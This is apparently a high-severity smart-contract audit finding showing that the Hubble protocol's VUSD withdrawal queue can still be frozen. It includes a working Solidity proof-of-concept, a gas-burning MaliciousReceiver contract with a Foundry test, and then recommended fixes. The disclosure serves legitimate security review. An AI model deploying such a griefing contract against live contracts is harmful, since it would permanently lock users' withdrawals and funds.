p12473

high

# ProcessWithdrawals is still DOS-able

## Summary

[DOS on process withdrawals](https://github.com/code-423n4/2022-02-hubble-findings/issues/119) were reported in the previous code4rena audit however the fix does not actually stop DOS, it only makes it more expensive. There is a much cheaper way to DOS the withdrawal queue - that is by specifying the `usr` to be a smart contract that consumes all the gas. 

## Vulnerability Detail

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
import "./Utils.sol";

contract MaliciousReceiver {
    uint256 public gas;
    receive() payable external {
        gas = gasleft();
        for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.
    }
}

contract VUSDWithReceiveTest is Utils {
    event WithdrawalFailed(address indexed trader, uint amount, bytes data);

    function setUp() public {
        setupContracts();
    }

    function test_CannotProcessWithdrawals(uint128 amount) public {
        MaliciousReceiver r = new MaliciousReceiver();

        vm.assume(amount >= 5e6);
        // mint vusd for this contract
        mintVusd(address(this), amount);
        // alice and bob also mint vusd
        mintVusd(alice, amount);
        mintVusd(bob, amount);

        // withdraw husd
        husd.withdraw(amount);      // first withdraw in the array
        vm.prank(alice);
        husd.withdraw(amount);
        vm.prank(bob);              // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract
        husd.withdrawTo(address(r), amount);

        assertEq(husd.withdrawalQLength(), 3);
        assertEq(husd.start(), 0);

        husd.processWithdrawals();  // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. 

        uint256 ethereumSoftGasLimit = 30_000_000;
        assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. 
    }

    receive() payable external {
        assertEq(msg.sender, address(husd));
    }
}
```

Copy and paste this file into the test/foundry folder and run it.

The test **will not fail** because foundry has a [very high gas limit](https://book.getfoundry.sh/reference/config/testing?#gas_limit) but you can see from the test that the amount of gas that was recorded in the malicious contract is higher than 30m (which is the [current gas limit on ethereum](https://ethereum.org/en/developers/docs/gas/#:~:text=Block%20size,-Before%20the%20London&text=The%20London%20Upgrade%20introduced%20variable,2x%20the%20target%20block%20size)). If you ran the test by specifying the â€”gas-limit i.e. `forge test -vvv --match-path test/foundry/VUSDRevert.t.sol --gas-limit 30000000` The test will fail with `Reason: EvmError: OutOfGas` because there is not enough gas to transfer to the malicious contract to run 150k iterations.

## Impact

Users will lose their funds and have their VUSD burnt forever because nobody is able to process any withdrawals.

## Code Snippet

https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/VUSD.sol#L65-L85

## Tool used

Manual Review

## Recommendation

From best recommendation to worst

1. Remove the queue and withdraw the assets immediately when `withdraw` is called.
2. Allow users to process withdrawals by specifying the index index
3. Allow the admin to remove these bad withdrawals from the queue
4. Allow the admin to adjust the start position to skip these bad withdrawals.